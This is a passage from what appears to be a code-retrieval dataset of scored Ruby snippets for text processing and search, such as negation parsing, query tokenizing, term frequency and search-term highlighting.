elsif(state == NEGATIVE_PHRASE)\n if(returned_type == NEGATIVE_WORD)\n if(interim_noun_verb == true)#there are some words in between\n state = NEGATIVE_WORD #e.g.\"It is too short the text and doesn't\"\n else\n state = POSITIVE #e.g.\"It is too short not to contain..\"\n end\n interim_noun_verb = false #resetting\n elsif(returned_type == NEGATIVE_DESCRIPTOR)\n state = NEGATIVE_DESCRIPTOR #e.g.\"It is too short barely covering...\"\n interim_noun_verb = false #resetting\n elsif(returned_type == NEGATIVE_PHRASE)\n state = NEGATIVE_PHRASE #e.g.:\"it is too short, taken from ...\"\n interim_noun_verb = false #resetting\n elsif(returned_type == SUGGESTIVE)\n state = SUGGESTIVE #e.g.:\"I too short and I suggest ...\"\n interim_noun_verb = false #resetting\n end\n #when state is suggestive\n elsif(state == SUGGESTIVE) #e.g.:\"I might(S) not(-) suggest(S) ...\"\n if(returned_type == NEGATIVE_DESCRIPTOR)\n state = NEGATIVE_DESCRIPTOR\n elsif(returned_type == NEGATIVE_PHRASE)\n state = NEGATIVE_PHRASE\n end\n #e.g.:\"I suggest you don't..\" -> suggestive\n interim_noun_verb = false #resetting\n end\n \n #setting the prevNegativeWord\n if(tokens[j].casecmp(\"NO\") == 0 or tokens[j].casecmp(\"NEVER\") == 0 or tokens[j].casecmp(\"NONE\") == 0)\n prev_negative_word = tokens[j]\n end \n \n end #end of for loop\n \n if(state == NEGATIVE_DESCRIPTOR or state == NEGATIVE_WORD or state == NEGATIVE_PHRASE)\n state = NEGATED\n end\n \n return state\n end",
"title": ""
},
{
"docid": "e3cd9540cd1ee8560e6de72c74ccccaa",
"score": "0.5027416",
"text": "def phrases\n out = words.dup\n keys = subs.keys.each.to_a\n subs.keys.each do |key1|\n keys[(keys.index(key1) + 1..-1)].each do |key2|\n next unless self === subs[key1] + subs[key2] \n out.merge form_phrases(key1, key2)\n end\n end\n out\n end",
"title": ""
},
{
"docid": "a2307fda8f8d5f2a0aed38a8e9c9ce0f",
"score": "0.5027191",
"text": "def visit_words(node); end",
"title": ""
},
{
"docid": "ee5cf1e34ed65c1fa4c45c1350575932",
"score": "0.5022893",
"text": "def search phrase\n # @param phrase is a normalized string of space separated words\n #puts \"@\",phrase\n res = nil\n prev_word = nil\n phrase.split.each do |w|\n if prev_word\n search_index = \"#{prev_word} #{w}\"\n tmp_res = self.find search_index\n if !res\n res = tmp_res\n else\n res = List::send :AND, res, tmp_res\n end\n end\n prev_word = w\n end\n \n return res\n end",
"title": ""
},
{
"docid": "f3863c2c69f6b718d224a46accd9b6f1",
"score": "0.50168467",
"text": "def normalize_term(term, bCaseInsensitive, bReplaceHyphen, bStemming)\n\t\toffsets = tokenize(term)\n\t\tbeg_tidx = 0\n\t\tend_tidx = offsets.size\n\n\t\treturn normalize(term, offsets, beg_tidx, end_tidx,\n\t\t\tbCaseInsensitive, bReplaceHyphen, bStemming)\n\tend",
"title": ""
},
{
"docid": "d20728fdeda90d17023d9bfed29cbb67",
"score": "0.50161874",
"text": "def term\n self[SIMPLE_OR_COMPOUND_TOKEN_WITH_GROUPING, 2].delete_prefix('\"').delete_suffix('\"')\n end",
"title": ""
},
{
"docid": "1ec552fae4e3a52cc9e0c397aaf00d25",
"score": "0.5006955",
"text": "def tokenize_query_string(qs)\n tokens = [ ]\n cur = ''\n state = :scan\n \n qs.split('').each_with_index do |c, idx|\n case c\n when '\"'\n case state\n when :scan\n state = :quote\n cur = ''\n when :quote\n tokens << [ :quoted, cur.split(/\\s+/).join(' ').strip ]\n state = :scan\n cur = ''\n else\n raise MalformedQuery.new(qs, idx)\n end\n when '|'\n case state\n when :scan\n tokens << [ :or ]\n cur = ''\n when :quote\n cur << c\n when :token\n tokens << [ :word, cur ]\n tokens << [ :or ]\n state = :scan\n cur = ''\n else\n raise MalformedQuery.new(qs, idx)\n end\n when '&'\n case state\n when :scan\n tokens << [ :and ]\n cur = ''\n when :quote\n cur << c\n when :token\n tokens << [ :word, cur ]\n tokens << [ :and ]\n state = :scan\n cur = ''\n else\n raise MalformedQuery.new(qs, idx)\n end\n when '-', '!'\n case state\n when :scan\n tokens << [ :minus ]\n when :quote\n cur << c\n when :around\n raise MalformedQuery.new(qs, idx) unless c == '-'\n cur = '1'\n when :token\n if c == '-'\n cur << c\n else\n if cur.upcase == 'OR'\n tokens << [ :or ]\n tokens << [ :minus ]\n state = :scan\n elsif cur.upcase == 'AND'\n tokens << [ :and ]\n tokens << [ :minus ]\n state = :scan\n elsif cur.upcase == 'AROUND'\n state = :around\n else\n tokens << [ :word, cur ]\n tokens << [ :minus ]\n state = :scan\n end\n cur = ''\n end\n else\n raise MalformedQuery.new(qs, idx)\n end\n when '<'\n case state\n when :scan\n state = :around\n cur = ''\n when :quote\n cur << c\n when :token\n tokens << [ :word, cur ]\n state = :around\n cur = ''\n else\n raise MalformedQuery.new(qs, idx)\n end\n when '>'\n case state\n when :quote\n cur << c\n when :around\n tokens << [ :around, cur.to_i ]\n state = :scan\n cur = ''\n else\n raise MalformedQuery.new(qs, idx)\n end\n when '('\n case state\n when :scan\n tokens << [ :open ]\n when :token\n if cur.upcase == 'OR'\n tokens << [ :or ]\n tokens << [ :open ]\n state = :scan\n elsif cur.upcase == 'AND'\n tokens << [ :and ]\n tokens << [ :open ]\n state = :scan\n elsif cur.upcase == 'AROUND'\n state = :around\n else\n tokens << [ :word, cur ]\n end\n cur = ''\n end\n when ')'\n case state\n when :scan\n tokens << [ :close ]\n when :token\n tokens << [ :word, cur ]\n tokens << [ :close ]\n when :around\n tokens << [ :around, cur.to_i ]\n end\n state = :scan\n cur = ''\n when ' '\n case state\n when :quote\n cur << c\n when :token\n if cur.upcase == 'OR'\n tokens << [ :or ]\n elsif cur.upcase == 'AND'\n tokens << [ :and ]\n else\n tokens << [ :word, cur ]\n end\n state = :scan\n cur = ''\n when :around\n raise MalformedQuery.new(qs, idx)\n end\n else\n case state\n when :scan\n state = :token\n cur = c\n when :token\n cur << c\n when :quote\n cur << c\n when :around\n raise MalformedQuery.new(qs, idx) unless c =~ /[0-9]/\n cur = c\n end\n end\n end\n\n # we need to adjust based on the final state\n\n case state\n when :token\n if cur.upcase == 'OR'\n tokens << [ :or ]\n elsif cur.upcase == 'AND'\n tokens << [ :and ]\n else\n tokens << [ :word, cur ]\n end\n when :quote\n # let's be lenient\n\n tokens << [ :quoted, cur.split(/\\s+/).join(' ').strip ]\n end\n\n tokens\n end",
"title": ""
},
{
"docid": "7b046a933d6855edc96659d8dc01a424",
"score": "0.50049853",
"text": "def parse_term(term)\n keyword_type = keyword_type?(term)\n case keyword_type\n when :end then \"end\\n\"\n when :block\n parsed_line = parse_block_keyword(term)\n \"#{parsed_line}\\n\"\n when :flow then \"#{term.downcase}\\n\"\n # if no special keyword, then insert interpolated term directly into html\n else \"html << (#{term}).to_s\\n\"\n end\n end",
"title": ""
},
{
"docid": "da7f9a67a56ce08ec9958f03a192511b",
"score": "0.49984044",
"text": "def term!\n # -> uncomment the next line to manually enable rule tracing\n # trace_in( __method__, 34 )\n\n type = TERM\n channel = ANTLR3::DEFAULT_CHANNEL\n\n \n # - - - - main rule block - - - -\n # at line 173:8: 'term'\n match( \"term\" )\n\n \n @state.type = type\n @state.channel = channel\n\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out( __method__, 34 )\n\n end",
"title": ""
},
{
"docid": "aa2558697c2bbddca3d65d4c079ebbc4",
"score": "0.49943253",
"text": "def phraseable_words\n words - COMMON_WORDS\n end",
"title": ""
},
{
"docid": "d0111137dfebe901ab8caad0441e5c3c",
"score": "0.498559",
"text": "def tf(term, document)\n document.split(/[\\s-]/).count { |word| word.downcase == term }\nend",
"title": ""
},
{
"docid": "d0111137dfebe901ab8caad0441e5c3c",
"score": "0.498559",
"text": "def tf(term, document)\n document.split(/[\\s-]/).count { |word| word.downcase == term }\nend",
"title": ""
},
{
"docid": "d0111137dfebe901ab8caad0441e5c3c",
"score": "0.498559",
"text": "def tf(term, document)\n document.split(/[\\s-]/).count { |word| word.downcase == term }\nend",
"title": ""
},
{
"docid": "d0111137dfebe901ab8caad0441e5c3c",
"score": "0.498559",
"text": "def tf(term, document)\n document.split(/[\\s-]/).count { |word| word.downcase == term }\nend",
"title": ""
},
{
"docid": "d0111137dfebe901ab8caad0441e5c3c",
"score": "0.498559",
"text": "def tf(term, document)\n document.split(/[\\s-]/).count { |word| word.downcase == term }\nend",
"title": ""
},
{
"docid": "96bdfcaa6ee6a4ea5312dc7f909387d2",
"score": "0.49799737",
"text": "def semantic_tokens; end",
"title": ""
},
{
"docid": "4a63024998888ba526bd0759afb6d700",
"score": "0.49769595",
"text": "def phrase(phrase)\n letters = phrase.split(//)\n permutations = letters.permutation.to_a.map(&:join)\n permutations.select { |phrase| real_phrase?(phrase) }\n end",
"title": ""
},
{
"docid": "4451948906974f056d8dd7fe5704a422",
"score": "0.49698013",
"text": "def visit_word(node); end",
"title": ""
},
{
"docid": "752eca34d2f67a25cb967cff7ef416f6",
"score": "0.49575853",
"text": "def ttr_within_verbs(language) # see 3.3\n delete_empty_strings = true\n markers_verb1 = []\n markers_verb2 = []\n markers_verb3 = []\n verbstems_noun1 = []\n verbstems_noun2 = []\n \nlanguage.each_index do |phraseind| #\"phrase\" is used here and elsewhere as a synonym to \"sentence\"\n\tphrase = language[phraseind]\n if phrase #if not nil (doesn't happen in practice!)\n\t phrase = phrase.strip \n verb = phrase.split(\" \")[1].to_s\n if [2, 3, 4, 10, 11, 12].include?(phraseind) #first noun\n verbstems_noun1 << verb[0].to_s\n elsif [5, 6, 7, 13, 14, 15].include?(phraseind) #second noun\n verbstems_noun2 << verb[0].to_s\n end\n\n if [2, 5, 10, 13].include?(phraseind) #first verb\n markers_verb1 << verb[-1].to_s #taking the LAST symbol of the verb (empty string if there no verb)\n elsif [3, 6, 11, 14].include?(phraseind) #second verb\n markers_verb2 << verb[-1].to_s\n elsif [4, 7, 12, 15].include?(phraseind) #third verb\n markers_verb3 << verb[-1].to_s\n end\n \n else \n STDERR.puts \"Nil phrase!!!\"\n end\n end\n if delete_empty_strings\n [verbstems_noun1, verbstems_noun2, markers_verb1, markers_verb2, markers_verb3].each do |array|\n array.delete(\"\")\n end\n end\n\n ttr_marker_per_verb = (speakercomplexity1_norm(markers_verb1) + speakercomplexity1_norm(markers_verb2) + speakercomplexity1_norm(markers_verb3))/3.0\n ttr_stem_per_noun = (speakercomplexity1_norm(verbstems_noun1) + speakercomplexity1_norm(verbstems_noun2))/2.0\n \n return [ttr_marker_per_verb, ttr_stem_per_noun]\nend",
"title": ""
},
{
"docid": "9993c94929e85d1ee79627386910a7ec",
"score": "0.49557865",
"text": "def tokenize_query(query)\n if configuration.tokenize_multi_search\n query.split(/\\s+/, 2)\n else\n [query]\n end\n end",
"title": ""
},
{
"docid": "7190660c14bf83660fd129ad825a31c5",
"score": "0.49406624",
"text": "def visit_words_beg(node); end",
"title": ""
},
{
"docid": "4dc612c575eb060811dc57d6749cca51",
"score": "0.4926887",
"text": "def search_ids phrase\n # TODO: to find with a help of profiler the quickest sequence of and-or-not queries\n # depending on word occurances number in the documents\n \n and_phrases, or_phrases, not_phrases = get_and_or_not_of phrase\n \n res = nil\n \n if not and_phrases.empty?\n res = List::chain res, @handler.search_and(and_phrases)\n end\n \n or_phrases.each do |or_p|\n res = List::chain res, @handler.search_or(or_p)\n end\n \n except = @handler.search_and not_phrases\n \n # finally filter pages not to show and return\n # real document names\n return List::NOT(res, except)\n end",
"title": ""
},
{
"docid": "8339f4738879be047f88128b64001665",
"score": "0.49244168",
"text": "def word_filter\n [\n { part_of_speech: :noun },\n { part_of_speech: :adjective, subclass: :na_adjective }\n ]\n end",
"title": ""
},
{
"docid": "beee7c5c94755bc33a94673a9b12b88e",
"score": "0.4919678",
"text": "def tokenize(val); end",
"title": ""
},
{
"docid": "beee7c5c94755bc33a94673a9b12b88e",
"score": "0.4919678",
"text": "def tokenize(val); end",
"title": ""
},
{
"docid": "568340e21546b23aa2e11ff583116793",
"score": "0.490419",
"text": "def test_token_subtree\n doc = $nlp.read(\"I like New York in Autumn.\")\n token = doc[3] # \"York\"\n assert_equal token.class.name, \"Spacy::Token\"\n assert_equal token.subtree.map(&:text), [\"New\", \"York\", \"in\", \"Autumn\"] \n end",
"title": ""
},
{
"docid": "8c28ed9cb2d7370031d3cabb320ca60b",
"score": "0.49021685",
"text": "def phrases\n @phrase_klass.search(phraseable_words)\n end",
"title": ""
},
{
"docid": "8992408efe8bab346789659f7a2e8aca",
"score": "0.48981562",
"text": "def neutralize_selection(sentence)\n sentence.split.reject { |word| negative?(word) }.join(' ')\nend",
"title": ""
},
{
"docid": "e5f65c47dd8aafc1b4324cb083a75bb1",
"score": "0.48963282",
"text": "def analyze_terms(raw_query_terms)\n # Split into terms\n query_terms = raw_query_terms.split(' ')\n\n # Perform Lexical Analysis\n InvertedIndex::Cleaner.clean(query_terms)\n end",
"title": ""
},
{
"docid": "c9fc1772a81cb8e8fd35b4e6d0c32ee9",
"score": "0.48918432",
"text": "def highlight_words(phrase, search_words)\n\n ## boundary checking\n if (phrase.nil? || search_words.nil?)\n return \"\"\n end\n\n return_phrase = phrase\n tmp = []\n phrase.split(\" \").each do |x|\n unmatch = nil\n search_words_temp = search_words\n \n search_words = search_words.gsub(/(:|@|-|!|'|~|&|\"|\\/|\\(|\\)|\\\\|\\|)/, \" \")\n new_search_words = search_words.split(' ')\n new_search_words << search_words_temp\n new_search_words.sort {|u,v| v.length <=> u.length}.each do |word|\n word = Regexp.escape(word)\n rexp = /#{word}/i\n x.scan(rexp).uniq.each do |matched|\n escaped_matched = Regexp.escape(matched)\n #escaped_matched.gsub!('\\\\','') if escaped_matched.include?('\\\\')\n unmatch = x.gsub!(/^#{escaped_matched}/, \"<span class='highlighted'>#{matched}</span>\")\n if unmatch.nil?\n unmatch = x.gsub!(/-#{escaped_matched}/, \"-<span class='highlighted'>#{matched}</span>\")\n end\n if unmatch.nil?\n unmatch = x.gsub!(/\\(#{escaped_matched}/, \"(<span class='highlighted'>#{matched}</span>\")\n end\n break if unmatch\n end\n # case word in (word) or -word\n if x.scan(rexp).empty?\n word.gsub!('(','') if word.include?('(')\n word.gsub!(')','') if word.include?(')')\n word.gsub!('-','') if word.include?('-')\n #word = Regexp.escape(word)\n word.gsub!('\\\\','') if word.include?('\\\\')\n rexp = /#{word}/i\n x.scan(rexp).uniq.each do |matched|\n escaped_matched = Regexp.escape(matched)\n unmatch = x.gsub!(/#{escaped_matched}/, \"<span class='highlighted'>#{matched}</span>\")\n break if unmatch\n end\n end\n break if unmatch\n end\n tmp << x\n end\n return tmp.join(\" \")\n end",
"title": ""
},
{
"docid": "d5b2c53be024162f229d8f190aa869a9",
"score": "0.4883528",
"text": "def advanced_search(terms)\n if /[~+<>*]/.match?(terms)\n terms\n else\n terms&.split&.map { |i| \"+\\\"#{i}\\\"\" }&.join(' ')\n end\n end",
"title": ""
},
{
"docid": "3cdee922d2cacfad14df563a67363850",
"score": "0.48825532",
"text": "def text_token text, kind\n super if !@group_excluded && include_text_token?(text, kind)\n end",
"title": ""
},
{
"docid": "3ebfff9d03c58463e54a78dcb3f2eb97",
"score": "0.48790744",
"text": "def tsquery_for_term(unsanitized_term) # rubocop:disable Metrics/AbcSize\n if options[:negation] && unsanitized_term.start_with?(\"!\")\n unsanitized_term[0] = ''\n negated = true\n end\n\n sanitized_term = unsanitized_term.gsub(DISALLOWED_TSQUERY_CHARACTERS, \" \")\n\n term_sql = Arel.sql(normalize(connection.quote(sanitized_term)))\n\n # After this, the SQL expression evaluates to a string containing the term surrounded by single-quotes.\n # If :prefix is true, then the term will have :* appended to the end.\n # If :negated is true, then the term will have ! prepended to the front.\n terms = [\n (Arel::Nodes.build_quoted('!') if negated),\n Arel::Nodes.build_quoted(\"' \"),\n term_sql,\n Arel::Nodes.build_quoted(\" '\"),\n (Arel::Nodes.build_quoted(\":*\") if (options[:prefix]) && !(options[:exact_number] && (sanitized_term =~ /^\\d+$/)))\n ].compact\n\n tsquery_sql = terms.inject do |memo, term|\n Arel::Nodes::InfixOperation.new(\"||\", memo, Arel::Nodes.build_quoted(term))\n end\n\n Arel::Nodes::NamedFunction.new(\n \"to_tsquery\",\n [dictionary, tsquery_sql]\n ).to_sql\n end",
"title": ""
},
{
"docid": "c11d08004703ef95a3bc52725104c796",
"score": "0.48727754",
"text": "def generate_term_list(document)\n document_prep(document)\n end",
"title": ""
},
{
"docid": "0b6a1e49c4749369f5c2562eacf34c43",
"score": "0.48718715",
"text": "def get_related_terms(repo, term)\n \n # Il padre di \"term\"\n broader = \"\"\n broader_path = \"\"\n # I fratelli di \"term\"\n related_terms = []\n\n #Es: term=\"chitarra\"\n q = repo.query(:predicate => @skos.narrower)\n q.each_statement do |statement|\n broader_path = statement.object.to_s\n nodes = broader_path.split('/')\n #Es: \"tweb:/musica/strumenti/chitarra\"\n if nodes.last == term\n #Es: \"tweb:/musica/strumenti\"\n path = statement.subject.to_s.split('/')\n broader = path.last\n break\n end\n end\n\n q = repo.query(:predicate => @skos.broader)\n q.each_statement do |statement|\n nodes = statement.object.to_s.split('/')\n if nodes.last == broader\n path = statement.subject.to_s.split('/')\n related_terms << path.last\n end\n end\n\n related_terms << broader\n return related_terms\n end",
"title": ""
},
{
"docid": "12e9d6de3b7c8335d08bc332231e1beb",
"score": "0.4863636",
"text": "def compile_term\n @commands << '<term>'\n if !@tokens[@index].nil? && @tokens[@index].match(/(-|~)/)\n next_token\n compile_term\n elsif !@tokens[@index].nil? && @tokens[@index].match(/\\(/)\n next_token\n compile_expression\n next_token\n else\n next_token\n if !@tokens[@index].nil? && @tokens[@index].match(/\\[/)\n next_token\n compile_expression\n next_token\n elsif !@tokens[@index].nil? && @tokens[@index].match(/\\./)\n next_token\n next_token\n next_token\n compile_expression_list\n next_token\n elsif !@tokens[@index].nil? && @tokens[@index].match(/\\(/)\n next_token\n compile_expression_list\n next_token\n end\n end\n @commands << '</term>'\n end",
"title": ""
},
{
"docid": "700a74c936883b005ece4139b4f4d33e",
"score": "0.4853508",
"text": "def take(parent, kind)\n #puts \"PARENT #{parent.try(:kind)} TAKING #{kind} FROM #{@lexer.tokens[0].fragment} NEXT IS #{@lexer.tokens[1..2].map(&:kind).join(',')}\"\n token = Search::Token.new(@search, kind, parent)\n\n token.children = case kind\n when :query\n [take(token, :expression)] + (next_is?(:eot) ? [] : [take(token, :query)])\n\n when :expression\n raise Search::ParseError.new(I18n.t(\"search.or_not_allowed_between\")) if next_is?(:or)\n [(next_is?(:chunk) && next2_is?(*COMP_OP)) ? take(token, :qualified_expression) : take(token, :unqualified_expression)]\n\n when :unqualified_expression\n [take(token, :values)]\n\n when :qualified_expression\n [take_terminal(token, :chunk), take_terminal(token, *COMP_OP), take(token, :rhs)]\n\n when :rhs\n if next_is?(:lparen)\n [take_terminal(token, :lparen), take(token, :values), take_terminal(token, :rparen)]\n else\n [take(token, :value)]\n end\n\n when :values\n [take(token, :value)] +\n if next_is?(:eot, :rparen) || next2_is?(*COMP_OP)\n []\n elsif next_is?(:or)\n [take_terminal(token, :or), take(token, :values)]\n else\n [take(token, :values)]\n end\n\n when :value\n [take_terminal(token, :chunk, :string)]\n\n end\n\n token\n end",
"title": ""
},
{
"docid": "f1233587e86e310a802571a7d767113a",
"score": "0.48527128",
"text": "def _term\n\n _save = self.pos\n while true # choice\n\n _save1 = self.pos\n while true # sequence\n _save2 = self.pos\n _tmp = apply(:_unary_operator)\n unless _tmp\n _tmp = true\n self.pos = _save2\n end\n unless _tmp\n self.pos = _save1\n break\n end\n\n _save3 = self.pos\n while true # choice\n\n _save4 = self.pos\n while true # sequence\n _tmp = apply(:_PERCENTAGE)\n unless _tmp\n self.pos = _save4\n break\n end\n _tmp = apply(:__hyphen_)\n unless _tmp\n self.pos = _save4\n end\n break\n end # end sequence\n\n break if _tmp\n self.pos = _save3\n\n _save5 = self.pos\n while true # sequence\n _tmp = apply(:_LENGTH)\n unless _tmp\n self.pos = _save5\n break\n end\n _tmp = apply(:__hyphen_)\n unless _tmp\n self.pos = _save5\n end\n break\n end # end sequence\n\n break if _tmp\n self.pos = _save3\n\n _save6 = self.pos\n while true # sequence\n _tmp = apply(:_EMS)\n unless _tmp\n self.pos = _save6\n break\n end\n _tmp = apply(:__hyphen_)\n unless _tmp\n self.pos = _save6\n end\n break\n end # end sequence\n\n break if _tmp\n self.pos = _save3\n\n _save7 = self.pos\n while true # sequence\n _tmp = apply(:_EXS)\n unless _tmp\n self.pos = _save7\n break\n end\n _tmp = apply(:__hyphen_)\n unless _tmp\n self.pos = _save7\n end\n break\n end # end sequence\n\n break if _tmp\n self.pos = _save3\n\n _save8 = self.pos\n while true # sequence\n _tmp = apply(:_ANGLE)\n unless _tmp\n self.pos = _save8\n break\n end\n _tmp = apply(:__hyphen_)\n unless _tmp\n self.pos = _save8\n end\n break\n end # end sequence\n\n break if _tmp\n self.pos = _save3\n\n _save9 = self.pos\n while true # sequence\n _tmp = apply(:_TIME)\n unless _tmp\n self.pos = _save9\n break\n end\n _tmp = apply(:__hyphen_)\n unless _tmp\n self.pos = _save9\n end\n break\n end # end sequence\n\n break if _tmp\n self.pos = _save3\n\n _save10 = self.pos\n while true # sequence\n _tmp = apply(:_FREQ)\n unless _tmp\n self.pos = _save10\n break\n end\n _tmp = apply(:__hyphen_)\n unless _tmp\n self.pos = _save10\n end\n break\n end # end sequence\n\n break if _tmp\n self.pos = _save3\n\n _save11 = self.pos\n while true # sequence\n _tmp = apply(:_RESOLUTION)\n unless _tmp\n self.pos = _save11\n break\n end\n _tmp = apply(:__hyphen_)\n unless _tmp\n self.pos = _save11\n end\n break\n end # end sequence\n\n break if _tmp\n self.pos = _save3\n\n _save12 = self.pos\n while true # sequence\n _tmp = apply(:_NUMBER)\n unless _tmp\n self.pos = _save12\n break\n end\n _tmp = apply(:__hyphen_)\n unless _tmp\n self.pos = _save12\n end\n break\n end # end sequence\n\n break if _tmp\n self.pos = _save3\n break\n end # end choice\n\n unless _tmp\n self.pos = _save1\n end\n break\n end # end sequence\n\n break if _tmp\n self.pos = _save\n\n _save13 = self.pos\n while true # sequence\n _tmp = apply(:_STRING)\n unless _tmp\n self.pos = _save13\n break\n end\n _tmp = apply(:__hyphen_)\n unless _tmp\n self.pos = _save13\n end\n break\n end # end sequence\n\n break if _tmp\n self.pos = _save\n\n _save14 = self.pos\n while true # sequence\n _tmp = apply(:_URI)\n unless _tmp\n self.pos = _save14\n break\n end\n _tmp = apply(:__hyphen_)\n unless _tmp\n self.pos = _save14\n end\n break\n end # end sequence\n\n break if _tmp\n self.pos = _save\n _tmp = apply(:_function)\n break if _tmp\n self.pos = _save\n\n _save15 = self.pos\n while true # sequence\n _tmp = apply(:_IDENT)\n unless _tmp\n self.pos = _save15\n break\n end\n _tmp = apply(:__hyphen_)\n unless _tmp\n self.pos = _save15\n end\n break\n end # end sequence\n\n break if _tmp\n self.pos = _save\n _tmp = apply(:_hexcolor)\n break if _tmp\n self.pos = _save\n break\n end # end choice\n\n set_failed_rule :_term unless _tmp\n return _tmp\n end",
"title": ""
},
{
"docid": "098251032b9f55e997569371ad8ab0db",
"score": "0.4846345",
"text": "def terms\n string = @description\n grammar = description_grammar\n\n # trim last part of description, if necessary\n if grammar[:trim_after]\n string = string.split(grammar[:trim_after])[0]\n end\n\n # split into terms, remove any unnecessary expressions\n terms = string.split(grammar[:dividers])\n .map {|t| t.sub(grammar[:trim_expressions], '')\n .strip\n .capitalize }\n .select {|t| t.match(/\\w/) }\n\n # attempt to translate to English if necessary\n if grammar[:language] != 'en'\n terms.map! {|t| Translator.instance.translate(t, grammar[:language], terms) }\n end\n\n terms\n end",
"title": ""
},
{
"docid": "aa9c6b21ba021dde45503b075f271c6f",
"score": "0.48384824",
"text": "def get_terms(tag)\n terms = tag.terms\n\n parent_tag = tag.parent_tag\n until parent_tag.nil?\n terms.concat(parent_tag.terms)\n parent_tag = parent_tag.parent_tag\n end\n\n # sort the terms as they come out\n result = terms.uniq\n if !@sort_alphabetical\n result = result.sort { |x, y| x.row <=> y.row }\n else\n result = result.sort { |x, y| x.name <=> y.name }\n end\n\n result\n end",
"title": ""
},
{
"docid": "5a497e32e65c3d4b4aa9d3bde7c7d9a2",
"score": "0.48304072",
"text": "def homonyms\n Word.where(text: self.text).sort_by(&:paradigm_id)\n end",
"title": ""
},
{
"docid": "2567880d237ecae244d2eceab674aa8e",
"score": "0.48284182",
"text": "def words_starting_with_un_and_ending_with_ing(text)\n\nend",
"title": ""
},
{
"docid": "d46d86ce561ef69696c5da46e561abd6",
"score": "0.48126087",
"text": "def text_from first_token_index, limiting_token_index\n pos_begin = character_position_at_token first_token_index\n pos_end = character_position_after_token limiting_token_index\n return '' if first_token_index >= limiting_token_index || pos_begin == @processed_text_len # Boundary condition: no more text!\n\n teleft, teright = TextElmtData.for_range @elmt_bounds, pos_begin...pos_end\n return teleft.delimited_text(pos_end) if teleft.text_element == teright.text_element\n\n left_ancestors = teleft.ancestors - teright.ancestors # All ancestors below the common ancestor\n right_ancestors = teright.ancestors - teleft.ancestors\n if topleft = left_ancestors.pop\n left_ancestors = [teleft.text_element] + left_ancestors\n else\n topleft = teleft.text_element\n end\n if topright = right_ancestors.pop\n right_ancestors = [teright.text_element] + right_ancestors\n else\n topright = teright.text_element # Special processing here\n end\n nodes =\n left_ancestors.collect do |left_ancestor|\n next_siblings left_ancestor\n end +\n (next_siblings(topleft) & prev_siblings(topright)) +\n right_ancestors.reverse.collect do |right_ancestor|\n prev_siblings right_ancestor\n end\n teleft.subsq_text + nodes.flatten.map(&:text).join + teright.prior_text\n end",
"title": ""
},
{
"docid": "e8f85be9bf6caead8c296352a6bd95ad",
"score": "0.4811578",
"text": "def phrase_weighted_ngrams\n return @_phrase_weighted_ngrams if @_phrase_weighted_ngrams\n \n non_unique_ngrams = []\n self.tokens.each do |token|\n non_unique_ngrams += token.term_weighted_ngrams\n end\n\n grouped_unique_ngrams = non_unique_ngrams.group_by { |nw| nw[0] }\n\n unique_ngrams = []\n grouped_unique_ngrams.keys.sort.each do |ngram|\n weights = grouped_unique_ngrams[ngram].map { |nw| nw[1] }\n weight_sum = weights.inject(&:+)\n average_weight = weight_sum.to_f / weights.size\n unique_ngrams << [ ngram, average_weight ]\n end\n\n @_phrase_weighted_ngrams = unique_ngrams\n end",
"title": ""
},
{
"docid": "d1a09262d49236e19a58bc49f17cb66a",
"score": "0.48102272",
"text": "def initialize(term)\n self.orig = term.downcase\n self.sorted = self.orig.chars.sort.join\n end",
"title": ""
},
{
"docid": "e1820cc3a10b8241dcf9f958e3090f06",
"score": "0.48051268",
"text": "def get_verb_noun_tokens(input) \n\n verb = nil\n input = remove_preps(input)\n \n \n if input.first == \"go\" || input.first == \"head\" || input.first == \"walk\"\n verb = :go\n elsif input.first == \"enter\"\n verb = :enter\n elsif input.first == \"take\"\n verb = :take\n end\n \n\n if verb\n noun = tokenize(input[1...input.length])\n if noun\n return verb, noun\n else\n return :gibberish, input[1...input.length]\n end\n end\n\n # PICK LANTERN UP won't work!\n if input.first == \"pick\"\n \n if input[1] == \"up\"\n noun = tokenize(input[2...input.length])\n if noun\n return verb, noun\n else\n return :gibberish, input[2...input.length]\n end\n else\n noun = tokenize(input[1...input.length])\n if noun\n return verb, noun\n else\n return :gibberish, input[1...input.length]\n end\n end\n end\n\n\n if input.first == \"pick\"\n input.delete \"up\"\n verb = :take\n noun = tokenize(input[1...input.length])\n if noun\n return verb, noun\n else\n return :gibberish, input[1...input.length]\n end\n end\n \nend",
"title": ""
},
{
"docid": "f665c467b03d008a1f73f5e7fe0924a1",
"score": "0.48038417",
"text": "def terms\n terms = Term.joins(\"LEFT OUTER JOIN freq_term_in_docs ON freq_term_in_docs.word = terms.word AND freq_term_in_docs.doc_id = #{self.id}\")\n #SELECT terms.* FROM terms\n # INNER JOIN freq_term_in_docs On freq_term_in_docs.word = terms.word\n # INNER JOIN transactions On freq_term_in_docs.doc_id = 1\n return terms\n end",
"title": ""
},
{
"docid": "f0b4c80b9057b0652e307709ad656276",
"score": "0.47979584",
"text": "def wrap_top_level_or(query, terms, side)\n top_term_i = terms.index(&:present?)\n if top_term_i && terms[top_term_i].length == 2 &&\n !(col = @columns[top_term_i]).order_enum\n join_terms 'AND',\n where_side(col, side, false),\n wrap_term_with_parens(query)\n else\n query\n end\n end",
"title": ""
},
{
"docid": "68e2e71f2b78a20cbfd0610e29f5166b",
"score": "0.4797881",
"text": "def text_terms\n each_attribute(:text) do |name, value, options|\n value = value.to_s.split(/\\s+/u).map { |w| w.gsub(/[^\\w]/u, \"\") } unless value.kind_of? Array\n value.map(&:to_s).map(&:downcase).map do |term|\n [term, options[:weight] || 1] unless term.empty?\n end\n end.flatten(1).compact\n end",
"title": ""
},
{
"docid": "841d78d6a771a155bfadf6becd77ed14",
"score": "0.47950953",
"text": "def synonyms_closest_by_word_form\n consonants = {\n 'z' => 's', 'd' => 't', 'g' => 'x'\n }\n\n transliterated_word = Iconv\n .iconv('ascii//ignore//translit', 'utf-8', data[:word])[0]\n .gsub(/[zdg]/, consonants)\n found_by_meaning.map do |original, etym|\n transliterated_original = Iconv\n .iconv('ascii//ignore//translit', 'utf-8', etym[:word])[0]\n .gsub(/[zdg]/, consonants)\n matching_letters = (transliterated_word.scan(/\\w/) & transliterated_original.scan(/\\w/))\n [original, matching_letters]\n end.delete_if { |e| e[1].empty? }.sort_by { |e| e[1].size }.reverse!\n end",
"title": ""
},
{
"docid": "d4438325cb17807ba3ea276508fee6e5",
"score": "0.47925386",
